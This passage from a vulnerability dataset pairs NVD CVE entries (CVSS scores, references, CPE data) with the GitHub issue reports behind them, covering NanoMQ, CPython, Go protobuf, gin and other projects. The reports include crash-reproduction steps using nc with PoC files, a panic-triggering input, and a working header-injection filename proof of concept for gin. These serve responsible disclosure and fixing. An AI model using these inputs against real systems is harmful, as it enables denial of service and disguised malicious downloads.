Prior to upgrading, this vulnerability can be mitigated by running secrets-store-csi-driver at log level 0 or 1 via the -v flag.
**Fixed Versions**
- secrets-store-csi-driver >= 1.3.3
To upgrade, refer to the documentation: [https://secrets-store-csi-driver.sigs.k8s.io/getting-started/upgrades.html#upgrades](https://secrets-store-csi-driver.sigs.k8s.io/getting-started/upgrades.html#upgrades)
**Detection**
Examine cloud provider logs for unexpected token exchanges, as well as unexpected access to cloud vault secrets.
If you find evidence that this vulnerability has been exploited, please contact [security@kubernetes.io](mailto:security@kubernetes.io)
**Acknowledgements**
This vulnerability was reported by Tomer Shaiman `@tshaiman` from Microsoft.
/area security
/kind bug
/committee security-response
/label official-cve-feed
/sig auth | CVE-2023-2878: secrets-store-csi-driver discloses service account tokens in logs | https://api.github.com/repos/kubernetes/kubernetes/issues/118419/comments | 1 | 2023-06-02T19:03:54Z | 2023-06-02T19:04:34Z | https://github.com/kubernetes/kubernetes/issues/118419 | 1,738,671,677 | 118,419 | 5,232 |
CVE-2023-33595 | 2023-06-07T20:15:09.920 | CPython v3.12.0 alpha 7 was discovered to contain a heap use-after-free via the function ascii_decode at /Objects/unicodeobject.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/python/cpython/issues/103824"
},
{
"source": "cve@mitre.org",
"tags": [
"Patch"
],
"url": "https://github.com/python/cpython/pull/103993/commits/c120bc2d354ca3d27d0c7a53bf65574ddaabaf3a"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/python/cpython/issues/103824"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/python/cpython/pull/103993/commits/c120bc2d354ca3d27d0c7a53bf65574ddaabaf3a"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:python:python:3.12.0:alpha7:*:*:*:*:*:*",
"matchCriteriaId": "BA2D7BE3-5AEE-42DC-892C-747202C4A542",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"416"
] | 416 | https://github.com/python/cpython/issues/103824 | [
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"python",
"cpython"
] | # Your environment
- CPython versions tested on: 3.12.0 alpha 7
- Operating system and architecture: ubuntu20.04.1,x86_64
- Compiler flags: clang with ASAN and UBSAN instrument
# Bug description
The AddressSanitizer (ASAN) tool has detected multiple heap-use-after-free errors and a segmentation fault (SEGV) in the Python interpreter. The heap-use-after-free errors occurred in the ascii_decode and unicode_decode_utf8 functions in the unicodeobject.c file, and the SEGV occurred in the tok_backup function in the tokenizer.c file. Additionally, a memory leak was detected in the pystate.c file.
# Steps to reproduce
1. Compile Python with ASAN enabled: `./configure && make`
1. Run Python with ASAN enabled: `./python < poc_file`
1. The heap-use-after-free errors and SEGV should be detected and logged by ASAN.
# Expected behavior
No heap-use-after-free errors or SEGV should occur.
# Actual behavior
ASAN detected multiple heap-use-after-free errors and a SEGV, as well as a memory leak.
# Relevant logs and/or screenshots
The ASAN summary output is as follows:
```
AddressSanitizer: heap-use-after-free /src/cpython/Objects/unicodeobject.c:4474:28 in ascii_decode
AddressSanitizer: heap-use-after-free /src/cpython/Objects/unicodeobject.c:4506:28 in ascii_decode
AddressSanitizer: heap-use-after-free /src/cpython/Objects/unicodeobject.c:4483:32 in ascii_decode
AddressSanitizer: SEGV /src/cpython/Parser/tokenizer.c:1234:33 in tok_backup
AddressSanitizer: heap-use-after-free /src/cpython/Objects/unicodeobject.c:4526:37 in unicode_decode_utf8
AddressSanitizer: 3824 byte(s) leaked in 4 allocation(s).
AddressSanitizer: heap-use-after-free /src/cpython/Python/pystate.c:229:23 in bind_tstate
The full ASAN log can be found in the asan.log file.
```
[asan.log](https://github.com/python/cpython/files/11316179/asan.log)
[python_bug_poc.zip](https://github.com/python/cpython/files/11316193/python_bug_poc.zip)
<!-- gh-linked-prs -->
### Linked PRs
* gh-103993
<!-- /gh-linked-prs -->
| Found Heap-use-after-free errors and SEGV in Python | https://api.github.com/repos/python/cpython/issues/103824/comments | 9 | 2023-04-25T03:35:53Z | 2023-07-13T10:14:24Z | https://github.com/python/cpython/issues/103824 | 1,682,372,017 | 103,824 | 5,233 |
CVE-2023-33658 | 2023-06-08T12:15:09.240 | A heap buffer overflow vulnerability exists in NanoMQ 0.17.2. The vulnerability can be triggered by calling the function nni_msg_get_pub_pid() in the file message.c. An attacker could exploit this vulnerability to cause a denial of service attack. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://github.com/emqx/nanomq"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit"
],
"url": "https://github.com/emqx/nanomq/issues/1153"
},
{
"source": "cve@mitre.org",
"tags": [
"Patch"
],
"url": "https://github.com/nanomq/NanoNNG/commit/657e6c81c474bdee0e6413483b990e90610030c1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://github.com/emqx/nanomq"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit"
],
"url": "https://github.com/emqx/nanomq/issues/1153"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/nanomq/NanoNNG/commit/657e6c81c474bdee0e6413483b990e90610030c1"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:emqx:nanomq:0.17.2:*:*:*:*:*:*:*",
"matchCriteriaId": "0898CABA-5930-437A-8300-4D91648091F1",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/emqx/nanomq/issues/1153 | [
"Exploit"
] | github.com | [
"emqx",
"nanomq"
] | **Describe the bug**
We (School of Cyber Science and Technology, Shandong University) found that NanoMQ can cause buffer overflow when it processes malformed PUBLISH messages.
**Expected behavior**
If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information.

**Actual Behavior**
Describe what occurred.
**To Reproduce**
From a vulnerability disclosure point of view, I will email(jaylin@emqx.io) the POC to the developer for validation since it's possible to achieve at least a DoS pretty easily.
** Environment Details **
- NanoMQ version:master branch version commit #a72347c (As it is also the current HEAD version of [gitee](https://gitee.com/emqx/nanomq?_from=gitee_search) )
- Operating system and version:Ubuntu 20.04
- Compiler and language used:gcc 9.4.0 clang 10.0.0
- testing scenario
1. start nanomq with ./nanomq start
2. Send the packet:nc 127.0.0.1 1883 < ./poc.raw
3. NanoMQ crashes
| [Security]: Vulnerability that are unecessary to be fixed | https://api.github.com/repos/nanomq/nanomq/issues/1153/comments | 0 | 2023-04-12T09:10:25Z | 2023-04-15T07:37:26Z | https://github.com/nanomq/nanomq/issues/1153 | 1,664,162,150 | 1,153 | 5,234 |
CVE-2023-33660 | 2023-06-08T12:15:09.347 | A heap buffer overflow vulnerability exists in NanoMQ 0.17.2. The vulnerability can be triggered by calling the function copyn_str() in the file mqtt_parser.c. An attacker could exploit this vulnerability to cause a denial of service attack. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://github.com/emqx/nanomq"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit"
],
"url": "https://github.com/emqx/nanomq/issues/1155"
},
{
"source": "cve@mitre.org",
"tags": [
"Patch"
],
"url": "https://github.com/nanomq/NanoNNG/pull/509/commits/6815c4036a2344865da393803ecdb7af27d8bde1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://github.com/emqx/nanomq"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit"
],
"url": "https://github.com/emqx/nanomq/issues/1155"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/nanomq/NanoNNG/pull/509/commits/6815c4036a2344865da393803ecdb7af27d8bde1"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:emqx:nanomq:0.17.2:*:*:*:*:*:*:*",
"matchCriteriaId": "0898CABA-5930-437A-8300-4D91648091F1",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/emqx/nanomq/issues/1155 | [
"Exploit"
] | github.com | [
"emqx",
"nanomq"
] | **Describe the bug**
We (School of Cyber Science and Technology, Shandong University) found that NanoMQ can cause buffer overflow when it processes malformed messages.
This vulnerability is different from https://github.com/emqx/nanomq/issues/1153 and https://github.com/emqx/nanomq/issues/1154
**Expected behavior**
If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information.
**Actual Behavior**
If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information, which can cause DOS.
**To Reproduce**
Similarly, we will send a vulnerability POC via email (jaylin@emqx.io) to help developers fix this vulnerability.

**Environment Details**
- NanoMQ version:master branch version commit #a72347c (As it is also the current HEAD version of [gitee](https://gitee.com/emqx/nanomq?_from=gitee_search) )
- Operating system and version:Ubuntu 20.04
- Compiler and language used:gcc 9.4.0 clang 10.0.0
- testing scenario
1. start nanomq with ./nanomq start
2. Send the packet:nc 127.0.0.1 1883 < ./poc3.raw
3. NanoMQ crashes
| heap-buffer-overflow3 in NanoMQ | https://api.github.com/repos/nanomq/nanomq/issues/1155/comments | 3 | 2023-04-12T09:29:05Z | 2023-04-14T10:11:32Z | https://github.com/nanomq/nanomq/issues/1155 | 1,664,192,034 | 1,155 | 5,235 |
CVE-2023-33657 | 2023-06-08T13:15:09.530 | A use-after-free vulnerability exists in NanoMQ 0.17.2. The vulnerability can be triggered by calling the function nni_mqtt_msg_get_publish_property() in the file mqtt_msg.c. This vulnerability is caused by improper data tracing, and an attacker could exploit it to cause a denial of service attack. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://github.com/emqx/nanomq"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/emqx/nanomq/issues/1165#issue-1668648319"
},
{
"source": "cve@mitre.org",
"tags": [
"Patch"
],
"url": "https://github.com/emqx/nanomq/pull/1187"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://github.com/emqx/nanomq"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/emqx/nanomq/issues/1165#issue-1668648319"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/emqx/nanomq/pull/1187"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:emqx:nanomq:0.17.2:*:*:*:*:*:*:*",
"matchCriteriaId": "0898CABA-5930-437A-8300-4D91648091F1",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"416"
] | 416 | https://github.com/emqx/nanomq/issues/1165#issue-1668648319 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"emqx",
"nanomq"
] | **Describe the bug**
Our team (School of Cyber Science and Technology, Shandong University)have found the a potential issue in the current version of nanomq,it may cause heap-use-after-free when it handles the publish messages
**Expected behavior**
We use ASAN to compile the target server, and when we send a large number of malformed data packets to it, it may crash and output the following information :

the Call stack information is:

**Actual Behavior**
Describe what occurred.
**To Reproduce**
we will provide the POC below to the developer for validation:
[heap-use-after-free-poc.zip](https://github.com/emqx/nanomq/files/11235468/heap-use-after-free-poc.zip)
** Environment Details **
- NanoMQ version master branch version commit #8c54cd7
- Operating system and version Ubuntu 20.04
- Compiler and language used gcc 9.4.0 clang 10.0.0
- testing scenario
start nanomq with ./nanomq start
Send the packet:nc 127.0.0.1 1883 < heap-use-after-free-poc(Repeat multiple times)
util cause NanoMQ crashes
**Additional context**
To trigger the issue, it is necessary to continuously replay the poc multiple times until nanomq crashes,it may need 2 - 15 times
| [Security]: wrong protocol name & data racing | https://api.github.com/repos/nanomq/nanomq/issues/1165/comments | 13 | 2023-04-14T17:23:19Z | 2023-04-25T10:06:34Z | https://github.com/nanomq/nanomq/issues/1165 | 1,668,648,319 | 1,165 | 5,236 |
CVE-2023-24535 | 2023-06-08T21:15:16.420 | Parsing invalid messages can panic. Parsing a text-format message which contains a potential number consisting of a minus sign, one or more characters of whitespace, and no further input will cause a panic. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "security@golang.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/golang/protobuf/issues/1530"
},
{
"source": "security@golang.org",
"tags": [
"Patch"
],
"url": "https://go.dev/cl/475995"
},
{
"source": "security@golang.org",
"tags": [
"Third Party Advisory"
],
"url": "https://pkg.go.dev/vuln/GO-2023-1631"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/golang/protobuf/issues/1530"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://go.dev/cl/475995"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://pkg.go.dev/vuln/GO-2023-1631"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:protobuf:protobuf:1.29.0:*:*:*:*:go:*:*",
"matchCriteriaId": "573408EB-0BFD-4081-8878-BDECA46E6530",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"125"
] | 125 | https://github.com/golang/protobuf/issues/1530 | [
"Issue Tracking"
] | github.com | [
"golang",
"protobuf"
] | The recent prototext change to support parsing numbers with whitespace between the minus sign and number (https://go.dev/cl/473015) has introduced a panic when parsing an incomplete number consisting of a `-`, whitespace, and no further input.
For example, parsing this panics:
```
s_int32: - # trailing space after -
``` | prototext: error parsing "- " | https://api.github.com/repos/golang/protobuf/issues/1530/comments | 2 | 2023-03-13T18:24:00Z | 2023-03-16T14:43:14Z | https://github.com/golang/protobuf/issues/1530 | 1,622,028,530 | 1,530 | 5,237 |
CVE-2023-29401 | 2023-06-08T21:15:16.620 | The filename parameter of the Context.FileAttachment function is not properly sanitized. A maliciously crafted filename can cause the Content-Disposition header to be sent with an unexpected filename value or otherwise modify the Content-Disposition header. For example, a filename of "setup.bat";x=.txt" will be sent as a file named "setup.bat". If the FileAttachment function is called with names provided by an untrusted source, this may permit an attacker to cause a file to be served with a name different than provided. Maliciously crafted attachment file name can modify the Content-Disposition header. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "security@golang.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/gin-gonic/gin/issues/3555"
},
{
"source": "security@golang.org",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/gin-gonic/gin/pull/3556"
},
{
"source": "security@golang.org",
"tags": [
"Release Notes"
],
"url": "https://github.com/gin-gonic/gin/releases/tag/v1.9.1"
},
{
"source": "security@golang.org",
"tags": [
"Third Party Advisory"
],
"url": "https://pkg.go.dev/vuln/GO-2023-1737"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/gin-gonic/gin/issues/3555"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/gin-gonic/gin/pull/3556"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes"
],
"url": "https://github.com/gin-gonic/gin/releases/tag/v1.9.1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://pkg.go.dev/vuln/GO-2023-1737"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gin-gonic:gin:*:*:*:*:*:*:*:*",
"matchCriteriaId": "842C7CA1-3FF5-4A19-B88F-33DFA3404ACC",
"versionEndExcluding": "1.9.1",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": "1.3.1-0.20190301021747-ccb9e902956d",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"494"
] | 494 | https://github.com/gin-gonic/gin/issues/3555 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"gin-gonic",
"gin"
] | I have contacted the maintainer 4-5 times via email, Snyk, etc.,
but have not received a reply, so I am raising an Issue.
## Description
`gin` > `context.go` > `func FileAttachment`
contains a vulnerability that allows the extension/file name to be tampered with when downloading files.
This is known as a Reflect File Download attack.
https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf
This vulnerability allows a Threat Actor to replace what was `.txt` when uploading with `.sh`, etc. when (victim) downloading.
This is due to improper handling of the filename in the Content-Disposition response header.
https://github.com/gin-gonic/gin/blob/a889c58de78711cb9b53de6cfcc9272c8518c729/context.go#LL1059-L1059C86
My calculations CVSS (v3):
* CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
* Score: 7.5
However, I think the impact of the actual situation is much lower than that of CVSS.
## How to reproduce
### Env
OS: macOSVentura(13.1)
Go ver: 1.18.2 darwin/arm64
gin ver: v1.9.0 (The latest ver has not been corrected either, so the problem probably remains.)
Browser: Chrome 111.0.5563.110 (arm64)
(Linux or MacOS is required.
This is because Windows does not allow file names containing " (double-quote) .)
----------------
1. Create File
```
$ touch 'malicious.sh";dummy=.txt'
```
2. Setup gin project
```
$ mkdir myproject
$ go mod init tidy
$ go get -u github.com/gin-gonic/gin
```
3. Generate Vuln code
```
$ vi main.go
```
Edit Directory
```
package main
import (
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
r.GET("/download", func(c *gin.Context) {
dir := "/Users/{CHANGE_PROJECT_DIRECTRY}/"
// Although the file name is hard-coded, we assume that the file name is actually determined by the DB or user input.
filename := "malicious.sh\";dummy=.txt"
c.FileAttachment(dir + filename, filename)
})
r.Run()
}
```
4. Build & Run & Access
```
$ go build ./main.go
$ ./main
```
Access: `http://localhost:8080/download`
------------------
Return Response Header:
> HTTP/1.1 304 Not Modified
> Content-Disposition: attachment; filename="malicious.sh";dummy=.txt"
> Last-Modified: Tue, 19 Jul 2022 08:53:26 GMT
> Date: Wed, 20 Jul 2022 11:17:43 GMT
Content-Disposition:
> Content-Disposition: attachment; filename="malicious.sh";dummy=.txt"
Download File:
`malicious.sh`
# Cause & Fix
The reason is that the filename in Content-Disposition is not escape / encoded.
If not escape / encoded ( `"` ), the filename field can be terminated arbitrarily, as shown in the PoC.
> Content-Disposition: attachment; filename="malicious.sh";dummy=.txt"
Therefore, the following escapes are required.
* `"` --> `\"` or `%22`
* `\r` --> `\\r` or `%0D`
* `\n` --> `\\n` or `%0A`
( `\r`, `\n` was converted to space, so no problem.)
The requirements for encoding `filename` in `Content-Disposition` are described in RFC6266 and WhatWG html spec(multipart/form-data).
RFC 6266 (section 5)
https://tools.ietf.org/html/rfc6266#section-5
> [Appendix D](https://www.rfc-editor.org/rfc/rfc6266#appendix-D). Advice on Generating Content-Disposition Header Fields
> ...
> o Avoid including the percent character followed by two hexadecimal characters (e.g., %A9) in the filename parameter, since some existing implementations consider it to be an escape character, while others will pass it through unchanged.
> ...
> Avoid including the "\" character in the quoted-string form of the filename parameter, as escaping is not implemented by some user agents, and "\" can be considered an illegal path character.
What WG - html spec - multipart/form-data
https://html.spec.whatwg.org/#multipart-form-data
> For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (") with `%22`. The user agent must not perform any other escapes.
Golang also implements Content-Disposition escaping based on these requirements.
(This implementation is a `Content-Disposition` implementation for `multipart/form-data`,
so the situation is slightly different from the `HTTP Response` > `Content-Disposition` in this issue.)
https://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144
---------------
# Reference
RFC 6266 (section 5)
https://tools.ietf.org/html/rfc6266#section-5
What WG - html spec > multipart/form-data :
https://html.spec.whatwg.org/#multipart-form-data
OWASP ASVS (Related issue):
https://github.com/OWASP/ASVS/issues/1390
Golang impliments:
https://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144
Spring (Java) Impliments:
https://github.com/spring-projects/spring-framework/blob/4f8516e2c3ca420b1608840ab901bf9df7e4d5f1/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L594-L617
Symfony(PHP) Impliments:
https://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/HttpFoundation/HeaderUtils.php#L187-L189
This is my own article, but it summarizes the impact, etc. on this issue.
https://gist.github.com/motoyasu-saburi/1b19ef18e96776fe90ba1b9f910fa714 | FileAttachment() is vulnerable to Reflect File Download | https://api.github.com/repos/gin-gonic/gin/issues/3555/comments | 11 | 2023-04-01T03:00:55Z | 2023-06-03T16:31:17Z | https://github.com/gin-gonic/gin/issues/3555 | 1,650,264,355 | 3,555 | 5,238 |
CVE-2023-33557 | 2023-06-09T18:15:09.693 | Fuel CMS v1.5.2 was discovered to contain a SQL injection vulnerability via the id parameter at /controllers/Blocks.php. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
